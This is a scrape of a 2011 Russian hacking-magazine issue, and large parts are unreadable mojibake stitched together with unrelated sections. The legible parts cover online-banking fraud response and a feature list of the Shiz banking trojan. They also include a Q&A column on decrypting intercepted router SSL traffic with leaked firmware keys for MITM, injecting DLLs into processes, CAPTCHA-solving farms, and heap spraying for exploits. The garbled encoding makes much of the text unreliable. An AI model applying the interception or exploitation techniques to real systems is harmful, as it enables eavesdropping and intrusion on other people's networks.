çàöèè è îáåñïå÷èòü èõ íàäåæíóþ çàùèòó. Èäåàëüíûì âàðèàíòîì 
ÿâëÿåòñÿ âûäåëåííàÿ ðàáî÷àÿ ñòàíöèÿ, ïðåäíàçíà÷åííàÿ èñêëþ-
÷èòåëüíî äëÿ ðàáîòû ñ áàíêîì. Íà íåé íåîáõîäèìî îãðàíè÷èòü 
ñåòåâûå âçàèìîäåéñòâèÿ ñïèñêîì IP-àäðåñîâ è äîìåííûõ èìåí 
äîâåðåííûõ óçëîâ: ñåðâåð ÄÁÎ áàíêà, êîðïîðàòèâíûé ñåðâåð 1Ñ, 
ñàéò Öåíòðàëüíîãî áàíêà, ñåðâåð íàëîãîâîé èíñïåêöèè. Äàííàÿ 
ìàøèíà äîëæíà èìåòü îáíîâëåííûé àíòèâèðóñ è óñòàíîâëåííûå 
îáíîâëåíèÿ áåçîïàñíîñòè ïðîãðàììíîãî îáåñïå÷åíèÿ. Åñëè íåò 
âîçìîæíîñòè âûäåëèòü ïîä öåëè ÄÁÎ ôèçè÷åñêóþ ìàøèíó, òî 
ìîæíî èñïîëüçîâàòü âèðòóàëüíóþ.
Íå çàáûâàéòå ïðî îðãàíèçàöèîííûå ìåðû, êîòîðûå â áîëüøèíñòâå 
ñëó÷àåâ ÿâëÿþòñÿ íàìíîãî ýôôåêòèâíåå òåõíè÷åñêèõ ìåð. Íåîá-
õîäèìî ðåãóëÿðíî ìåíÿòü ïàðîëè âî âñåõ ñèñòåìàõ, ïðåäîñòàâëÿòü 
ïîëüçîâàòåëþ òîëüêî íåîáõîäèìûå äëÿ ðàáîòû ïðàâà, óäåëÿòü 
âíèìàíèå õðàíåíèþ êëþ÷åé ÝÖÏ, èìåòü îòðàáîòàííûå ïðîöåäóðû 
ðåàãèðîâàíèÿ íà èíöèäåíòû. Íàëè÷èå õîðîøî îòëàæåííûõ ñõåì 
ñâîåâðåìåííîé ðåàêöèè íà ïðîèñøåñòâèÿ ïîçâîëèò ñíèçèòü óùåðá 
â ñëó÷àå ìîøåííè÷åñòâà è ïðåäîòâðàòèòü õèùåíèå. Ñâîåâðåìåííîå 
âûÿâëåíèå ôàêòà ïðåñòóïëåíèÿ è îïåðàòèâíîå ðåàãèðîâàíèå â òå÷å-
íèå 4 ÷àñîâ ñ ìîìåíòà îòïðàâêè ïëàòåæíîãî ïîðó÷åíèÿ ãàðàíòèðóþò 
âîçâðàò äåíåæíûõ ñðåäñòâ íà ñ÷åò â 80% ñëó÷àåâ. 
Íàèáîëåå ÿðêèìè ïðèçíàêàìè ãîòîâÿùåãîñÿ ìîøåííè÷åñòâà ÿâëÿ-
þòñÿ:
• íåñòàáèëüíîå ôóíêöèîíèðîâàíèå ÏÊ, íà êîòîðîì ðàáîòàþò ñ ñèñ-
òåìîé ÄÁÎ (ìåäëåííàÿ ðàáîòà, ïðîèçâîëüíàÿ ïåðåçàãðóçêà, äðóãèå 
íåïîëàäêè);
• âûõîä èç ñòðîÿ ÏÊ, íà êîòîðîì ðàáîòàþò ñ ÄÁÎ;
• ïåðåáîè ñ äîñòóïîì â ñèñòåìó ÄÁÎ;
• íåâîçìîæíîñòü àâòîðèçàöèè â ñèñòåìå ÄÁÎ;
• DDoS-àòàêà íà âàøó ÈÒ-èíôðàñòðóêòóðó;
• íåñîîòâåòñòâèå ïîðÿäêîâûõ íîìåðîâ ïëàòåæíûõ ïîðó÷åíèé;



• ïîïûòêè àâòîðèçàöèè â ÄÁÎ ñ äðóãèõ IP-àäðåñîâ èëè â íåðàáî÷åå 
âðåìÿ.
Â ñëó÷àå îáíàðóæåíèÿ ôàêòà ìîøåííè÷åñòâà íåîáõîäèìî ìàêñè-
ìàëüíî áûñòðî ñîîáùèòü î ïðîèñøåñòâèè â áàíê ñ öåëüþ îñòàíîâêè 
ïëàòåæà è áëîêèðîâàíèÿ äîñòóïà ê ñèñòåìå ÄÁÎ ñî ñêîìïðîìåòèðî-
âàííûìè êëþ÷àìè è ïàðîëåì. Òàêæå ñëåäóåò íåìåäëåííî îáåñòî-
÷èòü ÏÊ, ñ êîòîðîãî ïðåäïîëîæèòåëüíî áûëè ïîõèùåíû êëþ÷è è 
äàííûå äëÿ àâòîðèçàöèè â ñèñòåìå ÄÁÎ, è îáåñïå÷èòü íåèçìåííîñòü 
åãî ñîñòîÿíèÿ äî ïðèåçäà ïðàâîîõðàíèòåëüíûõ îðãàíîâ. Åñëè â êîì-
ïàíèè èìååòñÿ ìåæñåòåâîé ýêðàí èëè ïðîêñè-ñåðâåð, íà êîòîðîì 
âåäóòñÿ ëîãè, òî íåîáõîäèìî ïðîèçâåñòè èõ ñîõðàíåíèå íà íåïåðå-
çàïèñûâàåìûé íîñèòåëü èíôîðìàöèè. Â ñëó÷àå ñàìîñòîÿòåëüíîãî 
ðàññëåäîâàíèÿ èëè ïðèâëå÷åíèÿ äëÿ ýòèõ öåëåé êîíñóëüòàíòîâ íå 
äîïóñêàåòñÿ ðàáîòà ñ îðèãèíàëàìè íîñèòåëåé èíôîðìàöèè, òàê 
êàê ýòî ìîæåò ïîâðåäèòü öåëîñòíîñòè äîêàçàòåëüñòâ, õðàíÿùèõñÿ 
íà íèõ. Îðèãèíàëû íîñèòåëåé íåîáõîäèìî îïå÷àòàòü è ïîìåñòèòü 
â ñåéô, à òàêæå îôîðìèòü äàííûå äåéñòâèÿ ïðîòîêîëîì èçúÿòèÿ è 
ñêðåïèòü åãî ïîäïèñÿìè ñâèäåòåëåé è èñïîëíèòåëÿ. Îáÿçàòåëüíî íà-

ïèøèòå çàÿâëåíèå î ïðîèçîøåäøåì â ìèëèöèþ. Ïî âîçìîæíîñòè äî-
ïîëíèòå çàÿâëåíèå ðåçóëüòàòàìè ñàìîñòîÿòåëüíîãî ðàññëåäîâàíèÿ 
èíöèäåíòà. Ýòà èíôîðìàöèÿ ïîìîæåò áûñòðåå ïðèíÿòü ðåøåíèå î 
âîçáóæäåíèè óãîëîâíîãî äåëà. Äàæå åñëè ìîøåííè÷åñòâî íå áûëî 
çàâåðøåíî, è âû óñïåëè îñòàíîâèòü åãî, èíöèäåíò îñòàåòñÿ óãîëîâ-
íûì ïðåñòóïëåíèåì, êîòîðîå ïîïàäàåò ïîä ðÿä ñòàòåé, íà÷èíàÿ îò 
ñîçäàíèÿ è ðàñïðîñòðàíåíèÿ âðåäîíîñíîãî ïðîãðàììíîãî îáåñïå-
÷åíèÿ è çàêàí÷èâàÿ ïîïûòêîé õèùåíèÿ â îñîáî êðóïíîì ðàçìåðå. 
Äåæóðíûé â îòäåëåíèè ìèëèöèè îáÿçàí ïðèíÿòü è çàðåãèñòðèðî-
âàòü âàøå çàÿâëåíèå.

Заключение
Îñîçíàíèå ðåàëüíîñòè óãðîçû ÿâëÿåòñÿ ñåðüåçíûì ïîáóæäåíèåì ê 
äåéñòâèþ. Ïðèìåíåíèå ïðîñòûõ, íî ýôôåêòèâíûõ ìåð ïî ñíèæåíèþ 
ðèñêîâ ìîøåííè÷åñòâà ïîìîæåò îáåçîïàñèòü ëè÷íûå ñáåðåæåíèÿ è äå-
íåæíûå ñðåäñòâà íà ñ÷åòó ðàáîòîäàòåëÿ. Óæå îäèí äåíü ðàáîòû ñïåöè-
àëèñòà ïî èíôîðìàöèîííîé áåçîïàñíîñòè ïîçâîëèò ñîçäàòü çàùèùåí-
íóþ ñðåäó äëÿ ðàáîòû ñ ñèñòåìîé ÄÁÎ. Ó÷èòûâàÿ, ÷òî ñðåäíèé óùåðá îò 
ìîøåííè÷åñòâà ñîñòàâëÿåò ïîðÿäêà 2 ìëí ðóáëåé, òî ýòè ìèíèìàëüíûå 
çàòðàòû ÿâëÿþòñÿ îòëè÷íûìè èíâåñòèöèÿìè. z

SYN/ACK

Функционал вредоносного 
программного обеспечения 
Win32/Spy.Shiz.NAL
•  Детектирует и обходит все общеизвестные антивирусы и межсе-
тевые экраны;
• включает и настраивает Terminal Services (RDP);
•  загружает и устанавливает в скрытом режиме OpenSSL;
•  создает учетные записи Windows для своих пользователей;
• получает доступ к установленным браузерам;
• крадет пользовательские данные;
• работает с Crypto API.
Целевые приложения:
ДБО «BS-Client»;
ДБО «iBank»;
СКЗИ «Бикрипт-КСБ-С»/ДБО «Faktura»;
ДБО «Инист»;
ЭПС WebMoney;
ДБО HandyBank;
ДБО «РФК»;
СКЗИ «Агава»/ДБО «InterBank»;
ДБО «Inter-PRO»;
ДБО РайффайзенБанк;
ДБО Альфабанк;
покерные клиенты.

Консоль управления ботнетом

XÀÊÅÐ  02  (145)  2011

Алгоритм действий при на-
ступлении инцидента в ДБО
1. Ограничить доступ к объектам, задействованным в инциденте.
2. Написать служебную записку от имени сотрудника пострадав-
шей компании на имя генерального директора о факте возникно-
вения инцидента.
3. Привлечь компетентных специалистов для консультации.
4. Обеспечить сохранность доказательств:
• отключение от сети питания;
• снятие энергозависимой информации с работающей системы;
• сбор информации о протекающем в реальном времени инци-
денте;
5. В присутствии третьей независимой стороны произвести 
изъятие и опечатывание носителей информации с доказательной 
базой
• Задокументировать изъятие Актом.
• Составить детальную опись объектов с информацией и их источ-
ников.
• Задокументировать процесс на видеокамеру.
• Хранить опечатанные объекты вместе с актом в надежном месте 
до передачи носителей на исследование или правоохранитель-
ным органам.
6. При проведении исследования обеспечить неизменность дока-
зательств. Работать с копией.
7. При обращении в правоохранительные органы представить им 
подробное описание инцидента, описание собранных доказа-
тельств и результаты их анализа.

Команды для бота
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Q: Скажи, как оперативно проверить 
свой софт на наличие уязвимостей, не 
устанавливая никакие дополнитель-
ные программы? Зачастую поставить 
авер невозможно из-за банального 
отсутствия прав.
A: В такой ситуации выручат клиентские 
сканеры client-side уязвимостей. Это 
модный тренд, поэтому многие компании, 
специализирующиеся на ИБ, сейчас ак-
тивно разрабатывают подобные решения. 
Основная фишка в том, что от пользователя 
требуется лишь перейти на специальный 
сайт, а устанавливать что-либо в системе 
не нужно. Вот наш список рекомендуемых 
сервисов:
• SurfPatrol (surfpatrol.ru). Проверка бе-
зопасности браузера и разных браузерных 
плагинов (QuickTime, Flash, Adobe Reader, 
Silverlight, Java и так далее). Если что-то 
из списка устарело, SurfPatrol тут же даст 
знать.
• Secunia Online Software Inspector 
(secunia.com/vulnerability_scanning/online). 
Анализ операционной системы и про-
грамм на наличие небезопасных версий и 
неустановленных патчей. Онлайн-аналог их 
известной десктопной программы PSI. 

• Panda ActiveScan 2.0 (pandasecurity.com/
homeusers/solutions/activescan). Реализо-
ванный через ActiveX-компонент антивирус 
от компании Panda Security.
• Check Your Plugins (mozilla.com/
plugincheck). Экспресс-проверка безопас-
ности установленных аддонов для Firefox'а.

Q: Пишу приложение для монито-
ринга, которое в случае проблем 
должно оповещать администратора с 
помощью SMS-сообщения. Нынешняя 
убогая система использует старый 
телефон, подключенный через COM-
порт :).
A: Самый сбалансированный вариант — 
воспользоваться уже знакомым нам серви-
сом Clickatell Bulk SMS Gateway (clickatell.
com). Мы когда-то давно писали о нем, как 
о способе отправки SMS’ок с произвольным 
именем отправителя (атака «Fake ID»). Но 
этот SMS-шлюз непременно пригодится 
не только для баловства. Сервис имеет 
очень толковую систему API, позволяющую 
встроить отправку сообщений в любое 
приложение. Полное описание системы 
представлено на специальной странице для 
разработчиков (clickatell.com/developers/

clickatell_api.php), но чтобы продемонстри-
ровать простоту подхода, приведу пример 
сценария на PHP. В основе скрипта лежит 
обращение к HTTP API Clickatell:

<?

// èìÿ ïîëüçîâàòåëÿ â ñèñòåìå

$user = "user";

// ïàðîëü â ñèñòåìå

$password = "password";

// èäåíòèôèêàòîð API

$api_id = "xxxx";

$baseurl =

   "http://api.clickatell.com";

// òåêñò ñîîáùåíèÿ

$text = urlencode("Hi! This is 

alert message. Server id down!");

// íîìåð äëÿ îòïðàâêè

$to = "0123456789";

$url = "$baseurl/http/auth?user

=$user&password=$password&api_

id=$api_id";

$ret = file($url);

$sess = split(":",$ret[0]);

if ($sess[0] == "OK") {

   $sess_id = trim($sess[1]);

   $url = "$baseurl/http/
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sendmsg?session_id=$sess_

id&to=$to&text=$text";

   $ret = file($url);

   $send = split(":",$ret[0]);

   if ($send[0] == "ID")

      echo "success message ID: ".

          $send[1];

   else

      echo "send message failed";

} else {

   echo "Authentication failure: ".

      $ret[0];

   exit();

}

?>

Понятно, что аналогичным образом можно 
взаимодействовать с API-системой сер-
виса, разрабатывая приложения на любом 
другом языке. Ведь фактически общение 
со шлюзом осуществляется через обычные 
HTTP-запросы. Попробовать систему в 
действии можно совершенно бесплатно. 
После регистрации каждый пользователь 
получает кредиты (это внутренняя валюта 
сервиса) для отправки десяти сообщений.

Q: Решил потренироваться в построе-
нии различных сетей и конфигураций 
сетевого оборудования. Виртуальную 
сеть из десктопных компьютеров 
можно создать в любой программе 
для виртуализации. Но как быть со 
сложными сетевыми устройствами, 
программируемыми роутерами и 
тому подобным? Как, например, мож-
но подготовиться к сертификации? Ни 
за что не поверю, что единственный 
вариант — это отправиться на доро-
гостоящие курсы, где в лабораториях 
есть все необходимое оборудование. 
A: К счастью, есть программы, позво-
ляющие проектировать сети различной 
топологии и симулировать их работу. Один 
из самых видных проектов в этой области 
— графический симулятор сети GNS3 (gns3.
net). Система поддерживает эмуляцию 
как простых ПК, так и, к примеру, марш-
рутизаторов Cisco. К тому же, в отличие от 
большинства аналогов, прога поддержива-
ет все команды Cisco IOS, что непременно 
пригодится тебе для сертификации.

Q: Как вручную уменьшить раз-
мер Java-скриптов? Есть сценарий, 
который занимает 3 Кб — это много. 
Но пользоваться автоматическими 
упаковщиками не хочу.
A: Есть несколько действенных приемов, 
которые позволяют уменьшить размер 
JavaScript-сценария. Попробую перечис-
лить общие рекомендации, объяснив их на 
примерах. Итак:

1. Использовать односимвольные названия:
 
var iCounter = 0 => i=0

2. Избегать «дорогих» ключевых слов:

x=new Array(); => x=[];

while(){}, do {} while () => for()

{}

x=Math.floor(x); => x=x>>0;

x=Math.round(x); => x=x-.5>>0;

x=Math.pow(2,x); => x=1<<x;

x=x/256; => x=x>>8;

3. Выбрать наиболее эффективную нотацию 
для цифр:

0x10 => 16

0x20000 => 1<<17

1000 => 1e3

.0001 => 1e-4

4. Оптимизировать for-циклы:

for(x=0;x<50;x++){} => 

for(x=50;x–;){}

5. Удалить комментарии и ненужные фигур-
ные скобки, пробелы, точки с запятой:

for (…) { a+=b; c*=a; } => for(…)

a+=b,c*=a;

function () {a+=b;} => function()

{a+=b}

6. Сохранить наиболее часто используемые 
сложные значения в переменные:

x=document.createElement(…

);document.body.appendchild(x); 

=> d=document;x=d.createElement(…

);d.body.appendchild(x);

y=x*x*x+x*x-4;z=x*x*x+x*x+5; => 

y=(q=x*x*x+x*x)-4;z=q+5;

7. Использовать комбинированные опреде-
ления переменных:

x=0;y=0; => x=y=0;

x=0;y=[0]; => y=[x=0];

Q: А как работают автоматические 
упаковщики JS?
A: В основе JS-пакеров во многом лежат опи-
санные выше алгоритмы. Многие из решений 
основываются на том, что в JS-сценарии часто 
одни и те же последовательности символов 
встречаются много раз. Например, 4 символа 
for() можно заменить односимвольным экви-
валентом и серьезно выиграть в размере. Для 
этого, правда, придется хранить словарь замен, 
чтобы иметь возможность выполнить декоди-
рование. Допустим, имеется следующий код:

code="o = document.

createElement('a');\r\ndocument.

body.appendChild(o);"

 
А вот так он может выглядеть в упакованном 
виде:

keys="A"

code="o = AcreateElement('a');\r\

nAbody.appendChild(o);Adocument.";

В этом примере последовательность 
«document.» заменена символом «A». 
Переменная keys содержит список всех 
символов, которые используются для 
замены строк (в нашем случае только «A»). 
В переменной code содержится оригиналь-
ная строка с выполненными заменами, 
заканчивающаяся используемым ключом 
и строкой для выполнения декодирования. 
Изначальный код может быть легко восста-
новлен разбиением строки на подстроки, 
если в качестве разделителя использовать 
ключ. В нашем примере разделение будет 
выглядеть следующим образом:

 

sub_string=["o = ", 

"createElement('a');\r\n", "body.

appendChild(o);", "document."];

Удалив последнюю строчку из массива 
и соединив между собой оставшиеся 
подстроки, вставляя текст замены, декодер 
может восстановить оригинальную строку. 
Это очень эффективный принцип, который 
помогает добиться максимальной степени 
сжатия. Одним из пакеров, которые исполь-
зуют такой подход, является JsSfx (code.
google.com/p/jssfx). 

Q: Винда стала постоянно выва-
ливаться в синий экран смерти. 
Сложность в том, что система сразу 
перезагружается, и я не могу даже 
посмотреть сообщение об ошибке. 
Как быть?
A: Чтобы увидеть причину сообщения 
BSOD, надо отключить автоматическую 
перезагрузку при падении системы. Для 
этого переходим «Мой компьютер  
Дополнительные параметры системы  
Дополнительно  Загрузка и восстанов-
ление  Параметры» и снимаем галку с 
опции «Выполнять автоматическую пере-
загрузку», после чего Винда уже не будет 
перезагружаться в случае возникновения 
критической ошибки. Могу также пореко-
мендовать утилиту BlueScreenView (nirsoft.
net), которая сканирует все dump-файлы, 
создаваемые во время крэша системы, 
и выводит сообщения об ошибках в виде 
удобной таблицы. 
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Q: Есть ли аналог системы T9 для теле-
фонов с QWERTY-клавиатурой?
A: Да, такая технология есть и называется 
Swype (swypeinc.com). После установки ты 
получаешь каметод ввода для сенсорного 
экрана, позволяющего печатать слова, не 
отрывая палец от тач-скрина. 
Принцип во многом очень схож с T9. Для 
угадывания слова Swype использует ал-
горитм исправления ошибок и лингвисти-
ческую модель языка. Причем это работает 
настолько здорово, что набор текста ускоря-
ется в разы. Отрывать палец нужно только 
между словами. С официального сайта 
(swypeinc.com) можно скачать бета-версию 
для платформы Android, правда, поддержки 
русского языка в ней пока нет.

Q: У меня в сети есть роутер, шифру-
ющий весь трафик при помощи SSL. 
Подскажи, можно ли как-то рас-
шифровать перехваченный трафик 
пользователей?
A: Да, можно. Ты, наверное, подумаешь, что 
я знаю какую-то новую уязвимость SSL. На 
самом деле, ничего нового нет, а проблема 
известна еще с тех времен, когда зарожда-
лась криптография. Важное требование для 
надежного шифрования: приватный ключ 
надо хранить в секрете. Проще простого. Но 
курьез в том, что многие сетевые устройства 
используют секретные ключи, которые жес-
тко внедрены в прошивку. Таким образом, 
чтобы получить заветный ключ, нужно лишь 
отыскать и распотрошить подходящую 
прошивку. Но тут есть небольшая проблем-
ка: точная версии прошивки на устройстве 
заведомо неизвестна. 
Возьмем, например, сборки DD-WRT: 
для каждого поддерживаемого уст-
ройства существует несколько версий 
firmware — микро, обычная, VPN и так 
далее. Что же теперь, перебирать все 
прошивки вручную? Нет, к счастью, это 
необязательно. От дичайшего геморроя 
нас избавит проект LittleBlackBox (code.
google.com/p/littleblackbox), представля-
ющий собой настоящую базу с секретны-
ми и ассоциированными с ними откры-
тыми ключами.
Программе можно передать открытый 
ключ роутера, и она автоматически найдет 
секретный ключ. Или поступить по-другому 
и скормить LittleBlackBox’у дамп перехва-
ченного трафика пользователей. В этом 
случае программа сама извлечет оттуда 
публичный ключ и уже с его помощью вы-
полнит поиск по своей базе.
На текущий момент LittleBlackBox содержит 
сведения о прочти двух тысячах уникальных 
секретных ключей, большая часть которых 
относится к различным прошивкам DD-
WRT. Хотя, безусловно, здесь есть ключи и 

для устройств таких известных вендоров, 
как Cisco, Linksys, D-Link и Netgear. Это 
еще увеличивает шансы расшифровать пе-
рехваченный трафик и даже организовать 
MITM-атаку.

Q: Через мой SMTP часто пытаются 
отправлять вирусы, спам- и фишин-
говые сообщения. Это меня расстра-
ивает :). Подскажи, как реализовать 
антиспам- и антивирусные проверки 
на уровне SMTP-сервера?
A: Можно попробовать разработку от 
Яндекса — NwSMTP (github.com/khanton/
NwSMTP). Это прокси-сервер, который 
работает перед основным почтовым серве-
ром и может обеспечивать поддержку SSL, 
фильтрацию по RBL, антиспам- и анти-
вирусные проверки. Именно он работает 
сейчас на Яндекс.Почте. Вся настройка осу-
ществляется через конфиг-файл, который 
хорошо откомментирован.

Q: Использую в своем проекте слож-
ные капчи, в том числе от сервиса 
reCAPTCHA (google.com/recaptcha), 
но даже это не спасает от фейко-
вых регистраций ботами. Как им это 
удается? Ведь не вручную же регист-
рируются?
A: Если регистраций действительно очень 
много, то заполнение форм явно осущест-
вляется автоматически. Тут надо понимать, 
что даже самая сложная CAPTCHA нынче 
не проблема — их решают самые обыч-
ные люди. Такие сервисы, как DeCaptcher 
(decaptcher.com), связывают между собой 
тех, кто разрабатывает автоматизиро-
ванные боты, и трудоголиков, которые за 
копейки готовы «решать» капчи тысячами. 
Девелоперам предлагается API для разных 
языков (C/C++, C#, Perl, PHP и Python), с 
помощью которого они заливают на сервер 
капчу и получают ответ с решением, а жела-
ющим заработать (в основном это китайцы) 
предоставляется простенькая форма для 
решения капчи. Желающих поживиться 
настолько много, что любая капча распоз-
нается практически мгновенно.

Q: По долгу службы приходится 
часто разрабатывать правила для 
ModSecurity. Есть ли какой-нибудь 
удобный редактор для этих целей?
A: Попробуй REMO — Rule Editor for 
ModSecurity (netnea.com/cms/?q=remo). 
Это графический редактор для управления 
правилами, который поможет сгенери-
ровать whitelist корректных запросов для 
твоего веб-приложения. Даже хорошо 
разбираясь в синтаксисе для составления 
правил, конфигурировать ModSecurity 
гораздо приятнее и быстрее именно с помо-

щью таких графических помощников. REMO 
написан на Ruby и легко устанавливается 
на любой сервер, где есть интерпретатор 
Ruby версии 1.8 или выше.

Q: Можно ли запустить процесс с пос-
тоянно включенной системой DEP без 
возможности отключения?
A: Напомню, что DEP (Data Execution 
Prevention) — это функция безопасности, 
встроенная в семейство операционных 
систем Windows, которая не позволяет 
приложению исполнять код из облас-
ти памяти, помеченной как «только 
для данных». Короткий ответ на твой 
вопрос: «Да, можно». Для этого потре-
буется специальная DLL-библиотека — 
EnforcePermanentDEP (blog.didierstevens.
com/2010/11/08/enforcepermanentdep). 
Будучи загруженной внутрь процесса, 
эта DLL вызывает SetProcessDEPPolicy с 
аргументом PROCESS_DEP_ENABLE, тем 
сам активируя для приложения функцию 
DEP. После этого отключить защиту уже 
нельзя.

Q: Тогда следующий вопрос: а как под-
грузить нужную DLL внутрь процесса?
A: Для этого есть разные техники. Ты мо-
жешь добавить библиотеку и нужную фун-
кцию в таблицу импорта. Не ясно? Сейчас 
объясню. Любая программа имеет такой 
список DLL’ек, которые нужны ей для 
корректного выполнения. Чтобы добавить 
в этот список требуемую DLL-библиотеку, 
понадобится редактор PE-файлов, напри-
мер, LorePE (woodmann.net/collaborative/
tools/index.php/LordPE). Запускаем прогу, 
жмем на кнопку <PE Editor> и выбираем 
нужный исполняемый файл. В следующем 
окне, где будут отображаться парамет-
ры PE-файла, нажми на <Directories> и 
кликни на кнопку <...> напротив Import 
table. Теперь перед тобой находится таб-
лица импорта со списком подгружаемых 
DLL-библиотек. Если вызвать контекс-
тное меню и выбрать пункт Add import, 
то можно указать новую DLL’ку, а также 
функции, которые необходимо импорти-
ровать. После этого остается только со-
хранить изменения, и дело можно считать 
сделанным.
Еще один вариант — воспользовать-
ся специальными утилитами вроде 
LoadDLLViaAppInit (blog.didierstevens.
com/2010/10/26/update-loaddllviaappinit). В 
конфиге проги необходимо прописать имя 
процесса и через точку с запятой имена 
всех DLL-библиотек, которые требуется 
импортировать. Например, так:

acrord32.exe   hook-createprocess.dll; 

EnforcePermanentDEP.dll 
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HackerTarget
www.hackertarget.com

 Во времена, когда многие известные приложения мигрируют в об-
лако и предоставляются в качестве сервиса, нет ничего удивительного 
в появлении  cloud-ресурса с хакерскими утилитами. HackerTarget 
— это настоящий кладезь известных x-toolz, которые размещены на 
мощном кластере серверов и могут быть использованы любым жела-
ющим.
Бесплатный набор впечатляет: это сканеры Nmap, OpenVas, SQLiX, 
sqlmap, Nikto, Joomla Security Scan, Sub Domain Scanner и некоторые 
fingerprinting-утилиты. 
Для использования вообще не нужно никакой установки: просто введи 
параметры сканирования, валидный e-mail (ящик на бесплатных сер-
висах не прокатит), и отчет о результатах сканирования придет к тебе в 
ближайшее время.

 Как сделать комментарий для любой страницы? Скажем, работа-
ешь ты с командой людей над некоторым проектом и видишь ошибку 
на сайте. Вместо того, чтобы пытаться объяснить суть бага словами 
или делать скриншот, можно воспользоваться метаинтернет-сер-
висом. Выглядит это так. Для любой страницы, в любом месте ты мо-
жешь наклеить стикер с текстом. Например, «Тут ошибка, исправь, 
пожалуйста!» или «Вот здесь не мешало бы вставить блок с таким-то 
содержанием». Предметно и прицельно :). И все, кто пользуется 
этим сервисом, смогут увидеть комментарии. Использовать это тем 
более удобно за счет того, что Goozzy интегрируется в браузер в 
виде плагина.

Goozzy 
www.goozzy.com

UNITS

HTTP://WWW2

Äëÿ êîììåíòèðîâàíèÿ 
ëþáîé ñòðàíèöû

Ñêàíåðû áåçîïàñíîñòè 
îíëàéí

Äëÿ ðåàëèçàöèè Heap 
Spraying

 Для выявления структуры сайта мы часто используем различные 
инструменты, но при этом забываем, что в большинстве случаев до 
нас эту работу сделали индексирующие роботы Google’а. Паук поиско-
вой машины заглядывает в такие места, куда обычному смертному не 
добраться. Сервис GmadS, в свою очередь, использует кропотливость 
поисковика и пытается вытащить максимум информации о сайте из 
базы Гугла. Дальше строится полное дерево структуры сайта. За считан-
ные секунды. Кроме того, сканер выводит запрещенные к индексиро-
ванию директории ресурса, отображает список сайтов, которые также 
размещены на этом хосте (ReverseIP), и собирает некоторую служебную 
информацию о сервере. 

GmadS
www.madnet.name/tools/madss

Äëÿ îïðåäåëåíèÿ ñòðóêòóðû 
ñàéòà

Heap spray generator 
bit.ly/small_heap_spray_generator

 В прошлом году мы не раз упоминали прием Heap Spraying, который 
используется многими сплоитами. Его можно эксплуатировать для 
удаленного исполнения кода, когда уязвимая программа (например, IE) 
по какой-то причине обращается к несуществующему участку памяти, 
находящемуся в адресном пространстве кучи. Мы можем заполнить кучу 
одинаковыми блоками, состоящими из последовательности NOP-команд 
(отсутствие операции) и шелл-кода. Если переход будет выполнен на один 
из таких NOP’ов, то выполнение будет «скользить» по цепочке NOP до тех 
пор, пока не наткнется на машинную команду, выполняющую некоторое 
действие. А поскольку после каждой цепочки NOP’а у нас стоит шелл-код, 
то именно он и будет выполняться! Heap Spraying реализуется с помощью 
Java-скрипта, который можно сгенерировать как раз с помощью этого 
сервиса.



>> coding

3 ñàìûõ àêòèâíûõ ó÷àñòíèêà ôîêóñ-ãðóïïû ïîëó÷àò â ýòîì ìåñÿöå ïîäïèñêè 
íà æóðíàë Õàêåð: çà ïåðâîå ìåñòî — íà 12 ìåñÿöåâ, çà âòîðîå — íà 6 ìåñÿöåâ 
è çà òðåòüå — íà 3 ìåñÿöà.

ÔÎÊÓÑ-ÃÐÓÏÏÀ
Õî÷åøü íå òîëüêî ÷èòàòü æóðíàë, íî è âìåñòå ñ íàìè äåëàòü åãî ëó÷øå? Óêà-
çàòü íà íàøè ôåéëû èëè âûðàçèòü ðåñïåêò çà ñäåëàííóþ ðàáîòó? Ýòî ëåãêî. 
Âñòóïàé â ðÿäû íàøåé ôîêóñ-ãðóïïû è âûèãðûâàé êëàñíûå ïîäàðêè îò æóð-
íàëà è íàøèõ ïàðòíåðîâ.
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